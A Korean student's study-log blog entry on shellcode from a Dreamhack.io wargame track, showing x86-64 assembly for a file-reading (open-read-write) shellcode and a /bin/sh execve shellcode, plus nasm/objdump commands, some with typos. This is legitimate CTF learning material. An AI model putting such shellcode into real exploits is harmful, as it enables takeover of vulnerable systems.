아침 9시반부터 저녁 6시반까지 학교 체류..넘나 힘들었다. 어제는 겜하느라 잠을 4시간자서 집오자마자 밥먹고 기절했다가 이제야 TIL이라도 작성하러 끄적끄적. 오늘은 Dreamhack.io 시스템해킹 4단계를 공부하고 연습문제를 시도해보았다.
Shellcode는 exploit을 위한 asm코드 조각으로 open-read-write권한을 이용하는 orw코드와, 셸획득을 목표로하는 execve코드가 있다. 추가적으로 셸코드로 플래그 출력 시 쓰레기 값이 나오는 것을 gdb의 x/6gx와 같이 확인해보면 null데이터를 확인할 수 있고, 이러한 방식을 이용해 중요한 값을 유출해내는 과정을 Memory Leak이라고 한다.
mov rdi, rax; //open으로 반환된 파일의 file descriptor인자세팅
mov rsi, rsp; //저장할 장소
sub rsi, 0x30; //읽을만큼 rsi를 줄여 stack조작
mov rdx, 0x30; //읽을 길이
mov rax, 0x0; //read의 syscall값
syscall
mov rdi, 1; //출력할 fd stdout으로 설정
mov rax, 0x1; //write의 syscall값
syscall
execve코드
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp; //경로만 입력
xor rsi rsi
xor rdx, rdx
mov rax, 0x3b; //execve의 syscall값
syscall
shellcode를 opcode(byte code)로 바꾸는 방법
3-1. shellcode.o
$ sudo apt-get install nasm
$ nasm -f -elf shellcode.asm
$ objdump -d shellcode.o
3-2. shellcode.bin
$ objcopu --dump-section .text=shellcode.bin shellcode.o
$ xxd shellcode.bin
SystemHacking트랙 stage4 문제 https://dreamhack.io/wargame/challenges/410
위의 정보와 gdb를 이용해 작성한 c코드
asm(
.global run_sh\n
run_sh:\n
mov rax, 0x0a6f6c6c6568; //
push rax
mov rdi, rsp; //경로
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall; //open("경로", RD_ONLY,NULL);
mov rdi, rax
mov rsi, rsp
sub rsi, 0x30
mov rdx, 0x30
mov rax, 0x0
syscall; //read(fd, buf, 0x30)
mov rdi, 1
mov rax, 0x1
syscall; //write(fd, buf, 0x30)_stdout에 출력
);
void run_sh();
int main() { run_sh(); }
우선 코드를 입력해야하는 shell_basic.c에서 코드를 입력하는 부분은
0x5555555553fe <main+117> call read@plt read@plt
어떤 경로를 입력해야하는지를 gdb로 디버깅하며 찾고있는데, segmentation error만 나서 적절한 경로를 더 찾아볼 예정이다.